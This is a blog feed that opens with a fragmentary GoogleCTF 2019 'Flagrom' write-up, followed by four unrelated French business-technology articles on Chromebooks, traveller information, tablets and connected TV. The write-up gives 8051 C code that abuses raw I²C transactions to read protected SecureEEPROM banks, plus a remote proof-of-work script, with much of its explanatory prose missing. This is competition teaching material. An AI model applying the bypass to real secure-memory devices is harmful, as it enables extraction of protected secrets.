Introduction

This 8051 board has a SecureEEPROM installed. It’s obvious the flag is stored there. Go and get it.

$ LD_PRELOAD=exit.so ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be?
That looks wrong. Good bye.
Wrong answer. Good bye.
What’s the length of your payload?
0
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
Clean exit.

void main(void) {
write_flag();
secure_banks();
remove_flag();
write_welcome();
POWEROFF = 1;
}

Timing diagram of a I²C communication (source: Wikipedia)

With this in mind, a path of three transactions can be found to read secured areaFirst load an address in the first unprotected bank and end with a start bit:

Then secure the first bank:

 

Finally, start a read action and read past the current bank boundaries:

void seeprom_write_byte(unsigned char addr, unsigned char value) {
seeprom_wait_until_idle();
I2C_ADDR = SEEPROM_I2C_ADDR_MEMORY;
I2C_LENGTH = 2;
I2C_ERROR_CODE = 0;
I2C_DATA[0] = addr;
I2C_DATA[1] = value;
I2C_RW_MASK = 0b00; // 2x Write Byte

I2C_STATE = 1;
seeprom_wait_until_idle();
}

__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;

unsigned char i2c_write_byte(unsigned char send_start,
unsigned char send_stop,
unsigned char byte);
unsigned char i2c_read_byte(unsigned char send_stop);

#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1)
#define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0)

void main(void) {
int i;
print(« start user program\n »);
/* Load address 0 */
i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_WRIT);
i2c_write_byte(0, 0, 0);
/* Secure all banks */
i2c_write_byte(1, 0, SEEPROM_I2C_ADDR_SECURE | 0b1111);
/* Read 255 bytes of memory */
i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_READ);
for (i=0; i<255; i++) {
if (i%64 == 0) {
print(« \n »);
}
CHAROUT = i2c_read_byte(0);
}
print(« \n »);
POWEROFF = 1;
}

$ { echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=../solve/exit.so ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4?
That looks wrong. Good bye.
Wrong answer. Good bye.
What’s the length of your payload?
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
start user program
Hello there.
On the real server the flag is loaded here.
Clean exit.

from pwn import *
io = remote(‘flagrom.ctfcompetition.com’, 1337)
ask = io.recvuntil(‘\n’).split()
start, md5 = ask[11], ask[16][:-1]
print « Proof of work with: »
print  » start = %s » % start
print  » md5 = %s » % md5
while True:
r = random.random()
s = start + str(r)
if hashlib.md5(s).hexdigest().startswith(md5):
print « Found %s » % s
break

$ python exploit.py remote hack.c
[+] Starting local process ‘./flagrom’: pid 7333
Sending payload
Received data
———————————-
[+] Receiving all data: Done (467B)
[*] Process ‘./flagrom’ stopped with exit code 0 (pid 7333)
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
start user program
Hello there
CTF{flagrom-and-on-and-on}
Clean exit.

Cet article GoogleCTF 2019 Quals – Flagrom Challenge Writeup est apparu en premier sur RiskInsight.

Des ventes modestes mais des perspectives intéressantes

Les ventes de Chromebook restent faibles : 2,9 millions d’unités ont été vendues en 2013 sur un marché total de 317 millions de PC, soit moins de 1% du marché. Elles sont également très ciblées, puisqu’elles se concentrent principalement en Amérique du Nord sur le marché de l’éducation.

Néanmoins, selon le cabinet d’étude Gartner, le marché du Chromebook devrait voir ses ventes augmenter de 79 % en 2014 par rapport à 2013 et les ventes devraient tripler d’ici 2017 pour atteindre 14,4 millions d’unités. Des chiffres relativement modestes mais en contraste avec un marché du PC en berne.

Le Chromebook concrétise la vision du PC selon Google

Pour Google, un PC sert avant tout à utiliser des applications web sur internet. Dans cette optique, le géant de Mountain View a conçu Chrome OS, un système d’exploitation léger basé sur son navigateur Chrome. L’interface est minimale et épurée, privilégiant la simplicité et la réactivité. Chrome OS est conçu principalement pour un usage connecté : il permet d’exécuter des applications Web… en particulier les services fournis par Google : Google Apps, Google Play, Google Print…

La légèreté de l’OS permet aux constructeurs de proposer des appareils avec des configurations matérielles modestes et donc des prix très attractifs tant pour les Chromebook (ordinateurs portables) que pour les Chromebox (ordinateurs fixes, à la diffusion plus confidentielle).

Outre l’accès à des applications web, il est également possible d’utiliser des applications spécifiques sur  les Chromebook, les Chrome Apps. Celles-ci sont à base de technologies web mais avec l’apparence d’une application classique. Elles permettent surtout un fonctionnement en mode déconnecté pour un usage hors ligne (c’est le cas de Gmail par exemple). Les Chrome Apps sont accessibles via le store applicatif Chrome Web Store, un peu à l’image de Google Play pour Android.

Des caractéristiques séduisantes pour les entreprises…

Les Chromebook se caractérisent par leur facilité d’utilisation : démarrage et arrêt en quelques secondes, interface simple et intuitive, ajout d’applications via le Chrome Web Store, puissance et efficacité des outils Google parfaitement intégrés.

Les entreprises apprécieront également le peu d’opérations de maintenance nécessaires avec des mises à jour automatiques et fréquentes de l’OS et une gestion de la sécurité native (vérification au démarrage, navigateur sécurisé, données chiffrées…).

Google fournit également une console d’administration avec des fonctions minimales permettant de gérer une flotte de Chromebook : gestion des utilisateurs, de la configuration, des applications (applications préinstallées, liste blanche ou noire d’applications autorisées ou interdites), reporting.

Autant d’attributs qui rendent le Chromebook séduisant pour les entreprises.

… mais une intégration compliquée avec l’existant de l’entreprise

De nombreuses limites apparaissent en effet vite lors de l’utilisation d’un Chromebook en entreprise, la première concernant les applications.

Un Chromebook permet d’accéder aux applications au format web. Néanmoins, de nombreux sites intranet n’ont pas été conçus pour le navigateur Chrome mais pour Internet Explorer et pourraient nécessiter des adaptations. Les sites web utilisant des middlewares Java, Silverlight ou Flash ne sont également pas supportés.

Les applications Windows pour leur part ne fonctionnent pas sur un Chromebook. Certaines, encore peu nombreuses pour les applications professionnelles, sont disponibles au bon format dans le Chrome Web Store. Pour les autres, une solution  sera de se tourner vers des solutions de type publication d’applications ou de bureaux virtuels fournis par Citrix ou VMware, qui disposent de clients pour Chromebook. Ces clients (au format HTML 5) ne sont cependant pas encore aussi avancés que sur d’autres plateformes.

Les autres limites concernent l’intégration avec des services classiques d’infrastructure. Un Chromebook ne s’intègre pas dans un annuaire Active Directory et nécessite forcément un compte Google. Egalement gênant est la difficulté voire l’impossibilité d’utiliser des services aussi basiques que du partage de fichiers ou d’impression. Un utilisateur peut ainsi ajouter une imprimante mais cela nécessite d’utiliser les services Google Print mais également de disposer d’imprimantes « Cloud-Ready Printer, ce qui est rarement le cas en entreprise actuellement.

Quel avenir dès lors pour les Chromebook en entreprise ?

Le Chromebook représente une vraie rupture par rapport au modèle de PC classique sous Windows : plus simple, plus rapide, nécessitant peu de maintenance et peu coûteux, il reste cependant limité fonctionnellement et ne pourra rendre les mêmes services en entreprise. Est-ce à dire que c’est une voie sans issue ?

Pour des entreprises utilisant déjà les services Google comme Google Apps, la question de l’utilisation de Chromebook pour certains profils utilisateurs se doit d’être posée. Cette solution peut avoir un intérêt dans différents cas : utilisateurs mobiles travaillant principalement avec des outils collaboratifs, offre de type PC low cost avec un accès aux applications Windows via les solutions Citrix ou VMware, remplacement de clients légers, borne d’accès Intranet/Internet…

Pour les autres, Google continue à investir dans sa solution et à développer des partenariats pour améliorer sa plateforme : alliance avec Cisco pour disposer de Webex sur sa plateforme, travail avec Citrix et VMware pour améliorer l’accès aux applications Windows. L’engagement de constructeurs comme Lenovo ou HP est aussi à souligner.

Autant de signes positifs pour les Chromebook et leur développement en entreprise. À Google de se donner les moyens de percer pour de bon dans le monde de l’entreprise !

Cet article Chromebook : le PC Cloud de Google à l’assaut des entreprises est apparu en premier sur RiskInsight.

Mettre à disposition du voyageur une information pertinente, facilement accessible, personnalisée et actualisée contribue à réduire son incertitude et à optimiser son trajet. Face à la persistance du recours à la voiture, l’information voyageur constitue donc un levier de démocratisation de l’offre de transport éco-mobile et d’accompagnement des Français dans la transformation de leurs habitudes. Enjeu pour les transporteurs, gestionnaires et autorités régulatrices, opportunité pour les acteurs d’intermédiation type Google, l’information voyageur constitue aujourd’hui un élément clé de la proposition de valeur adressée à des clients toujours plus connectés.

A l’heure des smartphones et des réseaux sociaux, repenser l’information voyageur passe forcément par la conduite de projets de transformation impactant le SI ainsi que les modalités de communication vers les clients.

4 axes clés d’évolution de l’Information voyageur

1. Valoriser la complémentarité entre les modes de déplacement

De nouveaux modes de transport se développent et les chiffres laissent présager une forte croissance de leur utilisation : le nombre de bornes pour voitures partagées est ainsi passé de 4 000 à 10 000 en 2 ans et le nombre d’abonnés au vélib a augmenté de 63% entre 2010 et 2012.

L’offre de transport existe et est publiée sur les plates-formes d’information voyageur mais peut être améliorée en intégrant les nouveaux moyens de transport, en permettant la comparaison entre des modes de déplacement différents, ou encore en favorisant une information multimodale communautaire, à l’exemple de vianavigo qui propose des informations pour l’ensemble des transports en commun en Ile-de-France.

En bref, il s’agit pour les acteurs du secteur de promouvoir la multimodalité tout en renforçant leur présence sur des réseaux sociaux toujours plus consultés.

2. Offrir une information personnalisée

Suggérer des parcours et moyens de transport pertinents exige d’être en capacité de fournir une information qui prend en compte les habitudes et caractéristiques de la personne effectuant la recherche (personne à mobilité réduite, personne chargée…) ainsi que sa localisation.

Les applications et dispositifs utilisant le guidage GPS indoor contribuent à aligner l’information sur les préférences du voyageur. L’application « MyWay Aéroports de Paris» permet par exemple au voyageur de calculer, en fonction de sa position, l’itinéraire vers un point d’intérêt le plus proche (comptoir d’information, espace détente, restaurant, boutique…).

Accroitre la valeur ajoutée de l’information passe par l’aptitude à proposer au voyageur des critères de recherche diversifiés qui permettent d’établir son « profil de préférences » sur mesure.

3. Offrir une information actualisée

L’information voyageur, qui couvre l’ensemble du parcours (du départ à l’arrivée), est intrinsèquement fluctuante. Il faut donc l’actualiser sur la base des critères de recherche choisis par le voyageur. Son itinéraire est alors mis à jour et intègre des facteurs dynamiques : disponibilité de parkings, évolution des conditions météorologiques, complexité de la correspondance ou encore affluence dans les rames.

Cette approche bénéficie au transporteur comme au voyageur : le premier valorise une offre de transport complète et diversifiée alors que le deuxième dispose d’une offre personnalisée et actualisée qui lui permet d’optimiser son trajet.

4. Fiabiliser l’information

Enrichir l’information voyageur, c’est aussi repenser son modèle d’accès et de gestion. Ceci implique de fiabiliser  l’information via le recours à des sources complémentaires. En permettant aux usagers de communiquer des informations en temps réel au transporteur, l’information montante s’inscrit dans cette logique de diversification des sources. On pourrait par exemple adapter le modèle de l’application « Coyote » aux transports en commun. Cependant, les modalités d’industrialisation de la collecte de l’information ainsi que la capacité à en garantir la qualité et la cohérence sur les différents canaux constituent un véritable enjeu.

L’articulation vertueuse des axes d’évolution ici développés permet à l’information voyageur de valoriser les moyens de transports alternatifs existants, donc de pallier les insuffisances en matière de transports en commun dit « classiques ».

Quels acteurs pour porter ces évolutions ?

L’évolution de l’information voyageur doit s’accompagner d’une distribution claire des rôles entre les différentes partie prenantes. Bien sûr, la conception, l’administration et l’exploitation des réseaux doit rester à la main des Autorités Organisatrices de Transport (AOT) et des transporteurs. Cependant, en termes d’information voyageur à proprement dite, le « marché » devient plus concurrentiel même si en France, la loi SRU (ou loi relative à la Solidarité et au Renouvellement Urbains) identifie spécifiquement l’information multimodale comme une compétence des Conseils Régionaux, ce qui pose la question des modalités d’accès à l’information en open data.

Malgré ce cadre légal contraignant, les sites d’information voyageur des exploitants et des autorités organisatrices devront se mesurer à la montée d’acteurs d’intermédiation car en effet, de nombreux axes de différentiation subsistent. Par exemple, Google a lancé Google Transit service, intégré à Google Maps qui crée une nouvelle classe de services aux voyageurs : largeur de l’audience, ergonomie universelle, intégration progressive avec l’ensemble de l’offre de Google (cartographie, services mobiles, contenu local).

Ces nouveaux acteurs pourraient fortement challenger la relation client des transporteurs…

Pour plus d’informations sur le sujet, consultez Transport Shaker, le blog transport des consultants Solucom

Cet article Information voyageur : et si on se projetait dans le futur ? est apparu en premier sur RiskInsight.

Dans la guerre qui met en concurrence Google et Microsoft dans le détrônement de l’Ipad, Google a opté pour une tablette low cost pour mettre en avant le contenu. Nous avons lors du premier épisode vu les forces et faiblesses de cette stratégie. Qu’en est-il de notre deuxième géant Microsoft ? Qui de de Google ou de Microsoft saura s’imposer ?

La convergence tablette – PC par Microsoft

Après le succès de la Xbox et l’échec cuisant du Zune, Surface marque le grand retour de Microsoft sur le secteur du matériel. Mais cette fois-ci, sa position est plus délicate puisqu’elle place l’entreprise en concurrence directe avec ses partenaires constructeurs. Même si Microsoft a annoncé que Surface serait avant tout une vitrine de promotion de Windows 8, visant à encourager son adoption au détriment d’Androïd, ses partenaires n’en demeurent pas moins inquiets

Avec Surface, Microsoft s’attaque au marché des tablettes sur deux segments différents. À travers la version ARM tout d’abord, la société espère concurrencer l’iPad auprès du grand public. De format similaire à ce dernier, elle embarque Windows RT et une multitude d’accessoires qui font défaut aux modèles de tablettes numériques actuels : port usb, lecteur de carte et grande capacité de stockage. Mais la nouveauté provient surtout du support intégré et de la TouchCover qui abrite clavier et pad : ainsi, la surface peut aussi bien être utilisée en format « tablette » que « PC ».

C’est ensuite le monde de l’entreprise qui est dans le viseur de Surface, à travers sa version x86. Dotée d’un port USB 3.0, et surtout d’un processeur de PC, elle embarquera Windows 8 Pro : de quoi se substituer à un ordinateur professionnel.

« Surface est un PC. Surface est une tablette » a dit Steve Ballmer, illustrant ce que Surface peut apporter à l’entreprise : la possibilité de fournir à ses utilisateurs un unique terminal bénéficiant des avantages des deux mondes : les applications pro, existantes dans l’entreprise pour l’un, la mobilité, l’image et l’expérience utilisateur pour l’autre. Mais au-delà de cette nouvelle approche, il faudra également compter sur l’écosystème riche de Microsoft, où la convergence peut aller encore plus loin : Pourquoi en effet ne pas envisager de commencer un jeu sur Xbox et de le continuer sur sa tablette ou son PC ?  Ou encore, de basculer l’exécution d’une application pro de son PC vers sa tablette ou son smartphone, le tout grâce aux services cloud SkyDrive ? Ces scénarios pourraient réellement fédérer les utilisateurs et apporter de l’innovation par rapport aux usages actuels.

Hélas, c’est là également que se situe son talon d’Achille, car cet écosystème n’est pas encore équipé d’applications tablettes. Car si Windows 8 Pro permet de conserver ses applications historiques, Windows RT part de zéro : Microsoft devra être persuasifs pour séduire les développeurs et obtenir rapidement du contenu et faire face à un concurrent fort de plus de 250 000 applications pour Ipad.

Autre point faible de la tablette Microsoft, son prix. Une tablette Surface 32 Go coûtera 489 euros TTC, soit 100 euros de moins que son équivalent Apple. A cela, s’ajoute le prix de la « Touch Cover » qui culmine à plus de 100 euros. Avec un tel positionnement tarifaire  il sera difficile pour Microsoft de justifier la pauvreté de services disponibles sur sa tablette Surface en comparaison de ceux disponibles sous iOS ou Androïd.

Microsoft n’a toujours pas divulgué le prix de la version Surface x86. Mais si ce prix se place au-delà des 800€, comme annoncé par certains constructeurs, sur quoi se portera le choix des utilisateurs (et des entreprises !) entre une tablette Surface, un Sony Vaio ou un Mac Book Air haut de gamme ? Vu sous un autre angle, les utilisateurs seront-ils prêts à investir 200 à 400€ de plus pour transformer leur PC en tablette, à performances égales ?

Une actualité à suivre de près…

De nombreuses questions restent donc ouvertes, et les prochaines annonces des constructeurs seront très attendues. Quel sera le positionnement tarifaire des Surfaces x86 ? Quel sera celui de l’iPad 7″, annoncé en octobre, par rapport à la Nexus 7 ?

Si Microsoft mise sur la convergence séduisante entre tablette et PC, qui pourrait être fort appréciée du côté des entreprises, cela reste porté par l’OS. La douce évolution du monde applicatif vers une indépendance vis-à-vis des OS pourrait-il faire pencher la balance du côté de Google, qui mise plutôt sur ses services en ligne ? Il faudra vraisemblablement attendre la fin d’année pour voir quelle stratégie a payé et qui est en mesure de croquer dans la pomme.

Pour lire la première partie, cliquez ici.

Cet article Microsoft Vs Google : qui pour détrôner l’iPad ? (2ème épisode) est apparu en premier sur RiskInsight.

Construit sous l’impulsion d’Apple, le marché des tablettes numériques est aujourd’hui scindé en deux : l’historique Apple et son iPad d’un côté, Google et ses multiples constructeurs de l’autre.

Dans ce duel de titans, quels sont les terrains d’affrontement ? Et surtout, qui aura le dernier mot ?

Un marché bipolaire

L’affrontement qui oppose Apple à ses rivaux ne se joue pas sur le terrain du matériel, où l’iPad règne en maître à près de 50 points devant son premier concurrent.  L’affrontement se joue sur le système d’exploitation, où iOS culmine à 57,6% de parts de marché, contre un Androïd en-dessous de la barre des 40%.

Face à la main mise d’Apple, deux autres géants de l’informatique veulent eux aussi tenter la stratégie du « big Apple » – un contenant maîtrisé et un écosystème solide :

• Google, leader du marché OS sur smartphones avec Androïd et principal concurrent d’Apple sur les tablettes, lance une tablette à son nom, en partenariat avec le constructeur Asus. La Nexus 7, au format novateur de 7″, adresse un nouveau marché avec un prix d’entrée très agressif.
• Microsoft, leader incontesté du marché OS sur PC, lance une tablette de sa propre fabrication. La Surface sera déclinée sous 2 versions : une version ARM tournée vers le grand public, concurrente directe de l’iPad, et une version x86 plutôt tournée vers le monde professionnel.

Une stratégie  low-cost pour permettre à tous l’accès aux services Google

Pour moins de 200$, Google casse les prix du marché, en proposant une tablette aux caractéristiques plutôt « correctes » : processeur Tegra 3, 1 Go de RAM, une résolution de 1280×800 et une autonomie de plus de  9h en lecture vidéo HD. Ses accessoires sont en revanche assez réduits car elle n’intègre pas de caméra au dos, ni de sortie vidéo ou encore de lecteur de carte. Toutefois, la Nexus 7 se distingue par une bonne connectivité avec Wifi, Bluetooth et NFC.

L’objectif annoncé de ce nouveau produit est avant tout de mettre en avant le contenu, les bénéfices de la firme sur la vente de la tablette étant réduits au maximum afin de permettre à toutes les bourses l’accès aux services Google. Son format « livre », 7 pouces pour 340g, devrait d’ailleurs permettre le lancement du service ebook de la marque dans les meilleures conditions.

À travers la Nexus 7, Google veut donc s’assurer de la mise en avant de ses propres services en ligne et éviter ainsi qu’elle ne soit qu’une passerelle vers internet et les multiples offres concurrentes. Mais au-delà de la promotion de services, la tablette pourrait bien avoir un impact sur les prix du marché, incitant les autres constructeurs à réduire leurs marges pour rester dans la course.

Que serait alors la stratégie d’Apple, qui se positionne sur un marché « haut de gamme et pratique aujourd’hui près de 40% de marge sur ses produits ?

Peut-on s’attendre à voir évoluer le marché des tablettes vers celui du PC : de forts volumes mais de faibles marges unitaires ?

La réponse dépendra fortement du succès rencontré par le nouveau-né de Google. Si la version 16 Go est déjà en rupture de stock, moins d’un mois après sa sortie, c’est à plus long terme qu’il faudra l’étudier, afin de s’affranchir de l’effet d’annonce. Car si les tablettes Androïd sont encore loin derrière l’iPad c’est en partie à cause de leur faiblesse en contenus et applications dédiées disponibles. C’est sur ce point-là que Google sera attendu : hormis la taille de l’écran, il faudra justifier la valeur ajoutée d’une tablette 7″ par rapport à un smartphone, que l’utilisateur possède généralement déjà.

Mais si  Google doit encore faire ses preuves, qu’en est-il de Microsoft ? C’est ce que nous verrons lors du prochain épisode…

Pour lire la suite, cliquez ici.

Cet article Microsoft vs Google : qui pour détrôner l’iPad ? (1er épisode) est apparu en premier sur RiskInsight.

Les prémisses de la télévision connectée

La télévision connectée au réseau internet, qui permet aux usagers d’accéder à des services supplémentaires, est déjà une réalité. Et n’en déplaise à Google et à Apple, aujourd’hui cette réalité nous la devons d’abord aux set-top-box des opérateurs internet (Freebox Revolution …) mais aussi et surtout aux télévisions, dont la connectivité internet devient progressivement la norme (SamsungSmartTV, SonyInternetTV, ToshibaPlaces…).  Sur un site marchand de produits électroniques bien connu, 109 modèles vendus sur 204 sont d’ailleurs des télévisions connectées !

Depuis quelques temps nous sommes passés de l’ère du terminal passif à celle du terminal actif qui permet : d’accéder à des programmes vidéos (séries, films…) à la demande ou présents sur le réseau local (ordinateur, terminaux mobiles…) ;

• de naviguer sur le web, consulter ses emails, sa page Facebook, les réseaux Twitter,
• de faire de la visiophonie (Skype…) ;
• de jouer (Angry Birds…) ;
• d’accéder à des places de marché d’applications permettant d’étendre encore plus la gamme des services connectés proposés…

L’enrichissement des programmes diffusés

Pour la plupart, ces services, s’ils sont bien connectés à internet, ne le sont en revanche pas avec la partie télévision, c’est-à-dire les programmes diffusés.

Pourtant, nous avons pu le constater pendant la dernière campagne présidentielle, le débat dépasse aujourd’hui le cadre du petit écran, certains personnages politiques commentant par exemple sur les réseaux Twitter les émissions en cours de diffusion. Il devient alors tout à fait pertinent, pour une expérience plus complète, de pouvoir accéder en direct sur le même écran, à la fois au programme diffusé et aux commentaires associés provenant de la twittosphère.

Il existe en France des expérimentations concrètes et avancées de télévision connectée. On peut ainsi citer l’émission C DANS L’AIR (France 5) qui se vante d’être la « première émission européenne en direct enrichie par la télévision connectée » : une application dédiée permet d’enrichir l’expérience du téléspectateur en lui apportant à la fois des informations complémentaires sur le programme qu’il est en train de regarder (en savoir plus sur le thème de l’émission du jour, découvrir les biographies des invités, retrouver les livres associés à l’émission) mais aussi et surtout la possibilité d’interagir avec les invités présents sur le plateau (participer à la « Question du jour » et accéder aux résultats des votes des téléspectateurs en temps réel, poser ses questions en direct au présentateur et à ses invités).

Face à Google et yahoo, la contre-attaque des diffuseurs

La télévision connectée est rendue possible grâce à l’utilisation du standard européen Hybrid Broadcast Broadband TV rédigé par un consortium regroupant à la fois des constructeurs (Philips, Samsung, Sony, LG…) et des diffuseurs (France télévisions, Canal +…). Ce sont ces derniers qui sont d’ailleurs à l’initiative de ce standard afin d’essayer de conserver une maîtrise des flux diffusés. En 2010, TF1 avait fait pression sur Samsung pour que celui-ci n’embarque pas sur ses téléviseurs les widgets en surimpression de Yahoo! Connected TV, arguant que ceux-ci portaient « atteinte à l’intégrité de son signal télé ».

Ce standard permet à un diffuseur d’enrichir ses programmes par des contenus passifs (mode broadcast pour les télévisions non connectées) – à l’image de l’ancien télétexte – ou interactifs (mode broadband pour les télévisions connectées) et utilise des technologies non propriétaires pour supporter ces applications (XHTML, CSS, JavaScript …).

La smart TV de demain

Si tous les acteurs du marché se sont mis à la télévision connectée c’est que, après la révolution “Smartphone”, ils espèrent celle de la télévision qui deviendra pour les entreprises un nouveau canal, présent dans tous les foyers, pour toucher leurs cibles. Par analogie, on parle d’ailleurs de « Smart TV ».

La prochaine grande étape après la généralisation des terminaux connectés va être la généralisation de la télévision hybride, c’est-à-dire l’intégration de contenus ou d’applications en synchronisation avec les programmes regardés par l’utilisateur (qu’ils soient diffusés ou on-demand) : publicités ciblées en fonction du programme et du profil des téléspectateurs du foyer, opportunité de pouvoir commander le livre, la musique, le produit utilisé par un personnage dans une série ou présenté durant une émission, pouvoir parier sur un match diffusé en direct, dialogue entre internautes-spectateurs (concept de TV sociale) …

Mais demain, la télévision connectée, cela sera aussi l’intégration de technologies telles que la reconnaissance faciale (permettant d’identifier les personnes présentes devant l’écran), la gestion des identités des téléspectateurs et la personnalisation associée, les contenus multi-sources, la synchronisation de contenus avec le flux vidéo, les applications multi-terminaux…

 Comme pour les smartphones, s’il est possible de se baser sur des standards internet pour certains usages, à l’image de ce qui est proposé par le consortium HbbTV, en revanche l’intégration avec le matériel (caméra, microphone, etc…) nécessitera le développement d’applications natives et donc l’émergence de plates-formes standards.

 Google, future plate-forme des applications smart TV ?

Les  AppleTV, GoogleTV ont probablement raté le coche de l’innovation car les services qu’ils proposent, généralement sous la forme d’une Over the Top Box (un boîtier supplémentaire) sont déjà proposés pour partie par d’autres constructeurs depuis bien longtemps.

Mais là où Apple risque de ne pouvoir cibler que ses clients, prisonniers de son monde clos en mettant en valeur l’intégration avec les autres produits de la gamme, Google peut se prévaloir de quelques atouts :

• sa plate-forme Android, déjà largement utilisée par les constructeurs de mobiles, peut devenir une plate-forme standard de facto ;
• sa compétence dans le domaine des moteurs de recherche : face à cet océan de contenus accessibles, le téléspectateur aura besoin d’outils performants pour trouver ceux correspondant à ses centres d’intérêts récurrents ou immédiats ;
• sa régie publicitaire pour pouvoir cibler au mieux les annonces, notamment en synchronisation avec les programmes regardés.

Si la télévision a pu être un temps désuète face aux autres terminaux d’accès (ordinateurs, tablettes, téléphones …) elle est en passe de retrouver sa place au centre des foyers, en se modernisant et en proposant des services à valeur ajoutée. Le marché subit depuis quelques années de fortes tensions de la part des différents acteurs (diffuseurs, constructeurs, fournisseurs de contenus….), ce qui ralentit l’avancée de la télévision connectée. Mais la marche est inexorable et pleine de promesses !

Cet article La télé connectée, fiction ou réalité ? est apparu en premier sur RiskInsight.